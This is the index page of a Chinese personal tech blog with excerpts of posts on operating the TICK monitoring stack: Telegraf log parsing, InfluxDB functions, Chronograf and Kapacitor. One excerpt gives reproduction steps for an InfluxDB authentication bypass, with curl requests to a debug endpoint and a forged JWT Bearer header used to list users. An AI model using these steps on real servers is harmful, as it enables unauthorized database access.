碳基体的博客

记录是梳理思路的好方式

TICK-telegraf 日志监控实例-自定义日志采集

inputs.logparser 插件

预备知识 telegraf日志监控实例 telegraf的inputs.logparser吸取了logstash的grok精髓 语法 1 %{<capture_syntax>[:<semantic_name>][:<modifier>]} 第一个字段: pattern,先查看已有的pattern是否能满足,否则采用自定义pattern ...

TICK-telegraf 日志监控实例

inputs.logparser 插件

原理:通过telegraf将端上的log采集输出到influxdb,然后使用grafana进行数据可视化 场景1:监控web访问日志 采集设置 1 2 3 4 5 6 [agent] interval = "1s" flush_interval = "1s" precision = "s" hostname = "xxxx" 输出设置 1 2 3 4 5 6 7 8 [...

influxdb认证绕过0day

通过jwt token绕过认证

0day复现步骤: 1. 查找user name curl -G "http://xxx:8086/debug/requests" 2. 构造jwt token 在线构造地址 3. 构造认证头 curl -G 'http://xxx:8086/query' --data-urlencode 'q=show users' -H 'Authorization: Bearer eyJ...

开源telegraf操作手册

数据管道

基本概念 数据管道,输入输出端协商好格式,然后进行数据采集input、数据清理process、数据聚合aggregator、数据转发output,与logstash类似,但更强大,有非常多的插件 部署 安装 mac 1 2 brew update brew install telegraf 配置文件 /usr/local/etc/telegraf.conf centos 1 2 w...

开源chronograf操作手册

时序数据可视化与kapacitor TICK编辑器

基本概念 提供influxdb系统管理、kapacitor TICK脚本编辑与数据可视化。 我主要使用它进行tick脚本编辑,可视化的部分用的是鼎鼎有名的grafana 部署 安装 mac brew install chronograf centos wget https://dl.influxdata.com/chronograf/releases/chronograf-1....

influxdb函数详解

从通用函数看时序数据分析方法

聚合 个数 count() 注意:fill()函数会干扰count的统计 去重 distinct() 注意: select distinct into 会只有最后一条数据被保留下来 积分 integral() 数学含义:曲边三角形的面积 求和 sum() 算术平均 mean() 统计含义: 集中趋势的度量,对极端值非常敏感,如果数据中有异常点或者分布是有偏的,均值可能存在误导...

开源kapacitor操作手册

kapacitor从入门到沉迷

基本概念 kapacitor属于TICK技术栈中的K,它定位为流式数据分析框架,包括数据源订阅,数据处理,预警检测与事件输出 数据订阅源可以是influxdb,collectd,opentsdb等时序数据库 数据处理包括基于InfluxQL的批处理与将数据存储在内存中的流处理,并使用tick脚本来进行处理规则的定义 预警检测借鉴...

开源influxdb操作手册

influxdb从入门到沉迷

基本概念 influxdb v.s. mysql influxdb mysql database 数据库 measurement 表,但不支持联合查询 points 行 t...

Hello World

"Hello World, Hello Blog"

“Yeah It’s on. ” 从网易博客被封(被封的详细原因至今未知)到网易博客的彻底关闭,这段时间除了用印象笔记记录点滴,百度脑图梳理思路,以及在微博上发布一些信息,就彻底告别了对外输出。 这期间知识的交互方式发生了不小的变化,知识开始变现、技术讨论开始封闭、书籍开始快销,感觉自己也应该写点啥了